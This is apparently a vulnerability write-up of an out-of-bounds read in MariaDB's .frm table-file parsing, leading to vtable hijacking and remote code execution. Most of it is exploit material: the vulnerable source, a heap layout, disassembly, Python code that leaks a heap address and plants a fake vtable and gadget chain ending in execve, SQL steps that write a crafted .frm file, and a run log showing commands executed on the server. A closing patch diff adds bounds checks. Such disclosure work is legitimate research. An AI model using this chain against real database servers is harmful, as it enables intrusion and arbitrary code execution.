MariaDB .frm 파싱 OOB Read를 통한 vtable Hijacking RCE

// sql/table.cc:823 (10.4.18) - .frm의 key part 블록에서 fieldnr을 그대로 읽는다
key_part->fieldnr = (uint16) (uint2korr(strpos) & FIELD_NR_MASK);

// sql/table.cc:2700-2709 (10.4.18, 패치 전)
Field *field;
if (new_field_pack_flag <= 1)
  key_part->fieldnr = (uint16) find_field(share->field,
                                 share->default_values,
                                 (uint) key_part->offset,
                                 (uint) key_part->length);
if (!key_part->fieldnr)          // [!] 0인지만 검사, 상한(share->fields) 검증 없음
  goto err;
 
field = key_part->field = share->field[key_part->fieldnr-1];  // OOB read 지점
key_part->type = field->key_type();  // vtable을 경유하는 가상 함수 호출 - 트리거 지점

// sql/table.cc:2025-2038 (10.4.18)
if (!multi_alloc_root(&share->mem_root,
                      &share->field, (uint)(share->fields+1)*sizeof(Field*),
                      &share->intervals, (uint)interval_count*sizeof(TYPELIB),
                      &share->check_constraints, (uint) share->table_check_constraints * sizeof(Virtual_column_info*),
                      &interval_array, (uint) (share->fields+interval_parts+ keys+3)*sizeof(char *),
                      &typelib_value_lengths, total_typelib_value_count * sizeof(uint *),
                      &names, (uint) (n_length+int_length),
                      &comment_pos, (uint) com_length,
                      &vcol_screen_pos, vcol_screen_length,
                      NullS))
    goto err;

&share->mem_root  (TABLE_ALLOC_BLOCK_SIZE = 4096 byte)
+---------------------------------------------------------------+
| USED_MEM header                                                |
+---------------------------------------------------------------+
| [key allocs: KEY, KEY_PART_INFO, rec_per_key ...]              |
+---------------------------------------------- ^ bump pointer   |
| default_values  (32B)                        | alloc_root()    |  <- ldf.field_length 확대로
+---------------------------------------------- |                |     이 뒤 comment.str까지 OOB read
| [multi_alloc_root 청크]                       |                |
|  +- share->field[]     <- Field* 배열         |                |
|  +- share->intervals                          |                |
|  +- interval_array                            |                |
|  +- typelib_value_lengths                     |                |
|  +- names                                     |                |
|  +- comment_pos  <- 페이로드 object가 여기 위치 |                |  <- [MDEV-40571] fieldnr 조작 시
|  +- vcol_screen_pos                           |                |     share->field[fieldnr-1]가 여기를 가리킴
+---------------------------------------------- |                |
| Field_long object [id]                        | alloc_root()   |  i=0
+---------------------------------------------- |                |
| Field_long object [AAAAAAAA]                  | alloc_root()   |  i=1 (default_values+0x171)
|  vtable | ptr | null_ptr | table | comment.str|                |  <- leak 대상: comment.str = comment_pos
+---------------------------------------------- |                |
| Field_string object [ldf]                     | alloc_root()   |  i=2
+---------------------------------------------- |                |
| Field_enum object [e]  / Field_long object [v]|                |  i=3, i=4
+---------------------------------------------- v                |
+---------------------------------------------------------------+

72440A:  mov    0x188(%r14),%rdx       ; rdx = share->field   (r14 = share, +0x188)
724411:  mov    -0x8(%rdx,%rax,8),%r12 ; r12 = share->field[fieldnr-1] = *(field_base + fieldnr*8 - 8)
724416:  mov    %r12,0x0(%r13)         ; key_part->field = field
72441A:  mov    (%r12),%rax            ; rax = *(field) = vtable  <- comment_pos에 심은 값이 "vtable 포인터"가 됨
72441E:  mov    %r12,%rdi              ; rdi = field (this)
724421:  call   *0x168(%rax)           ; field->key_type() 호출 (vtable+0x168) <- 제어된 주소로 분기

def _loadbase(line):
    p = line.split(); start = int(p[0].split("-")[0], 16); off = int(p[2], 16)
    return start - off

def comment_str(conn):
    h = conn.scalar("SELECT HEX(CONVERT(COLUMN_DEFAULT USING latin1)) FROM information_schema.COLUMNS "
                  "WHERE TABLE_SCHEMA='p3' AND TABLE_NAME='t16' AND COLUMN_NAME='ldf'")
    buf = unescape(bytes.fromhex(h)) if h else b""
    C = struct.unpack_from("<Q", buf, CMTSTR_RECOFF)[0]   # comment_pos 주소를 그대로 읽어냄
    return (C if 0x700000000000 <= C <= 0x7fffffffffff else None), buf

C, buf = leak_C(conn, base)
C2, _ = leak_C(conn, base)
if C2 != C:
    print("[!] chunk NOT stable across deliver (C moved) -> ABORT before firing"); return

put(0x000, C)             # self-ref: field=C, vtable=C
put(0x380, MB+G0_OFF)     # key_type() vtable 슬롯 -> G0
put(0x0c8, MB+GENTRY_OFF) # G0 -> GENTRY
put(0x280, MB+G2_OFF)     # GENTRY -> G2
put(0x160, LB+EXECVE_OFF) # G2 -> execve(path, argv, envp=NULL)

DROP TABLE ...;                          -- 기존 테이블/.frm 제거
SELECT UNHEX('...') INTO DUMPFILE '...'; -- 조작된 .frm 파일 기록
FLUSH TABLES;                            -- 테이블 캐시 무효화
SHOW CREATE TABLE ...;                   -- MariaDB가 조작된 .frm을 로드/파싱

$ python3 t16_e2e.py --fire
connected. server ver: 13.1.0-MariaDB
leaked C comment_pos: 0x77f3a4032f90
CALIB: re-leaked 0x77f3a4032f90 stable True
arming fieldnr, delivering weapon, triggering R5
execve cmd 'id > /tmp/frm_pwned_t16 2>&1; echo PWNED_$(id -u) >> /tmp/frm_pwned_t16'
trigger raised (expected on execve): OperationalError 2013 'Lost connection to MySQL server during query'
fired. check /tmp/frm_pwned_t16 for proof.
 
$ cat /tmp/frm_pwned_t16
uid=1000(pinebudweiser) gid=1000(pinebudweiser) groups=1000(pinebudweiser),...,110(docker)
PWNED_1000

-        DBUG_ASSERT(key_part[i].fieldnr > 0);
+        if (key_part[i].fieldnr <= 0 || key_part[i].fieldnr > share->fields)
+          goto err;
         Field *table_field= share->field[key_part[i].fieldnr - 1];
 
           uint fieldnr= keyinfo[0].key_part[i].fieldnr;
+          if (fieldnr <= 0 || fieldnr > share->fields)
+            goto err;
           if (share->field[fieldnr-1]->key_length() != ...
 
           uint fieldnr= keyinfo->key_part[i].fieldnr;
+          if (fieldnr <= 0 || fieldnr > share->fields)
+            goto err;
           field= share->field[fieldnr-1];
 
-	if (!key_part->fieldnr)
+	if (key_part->fieldnr <= 0 || key_part->fieldnr > share->fields)
           goto err;
         field= key_part->field= share->field[key_part->fieldnr-1];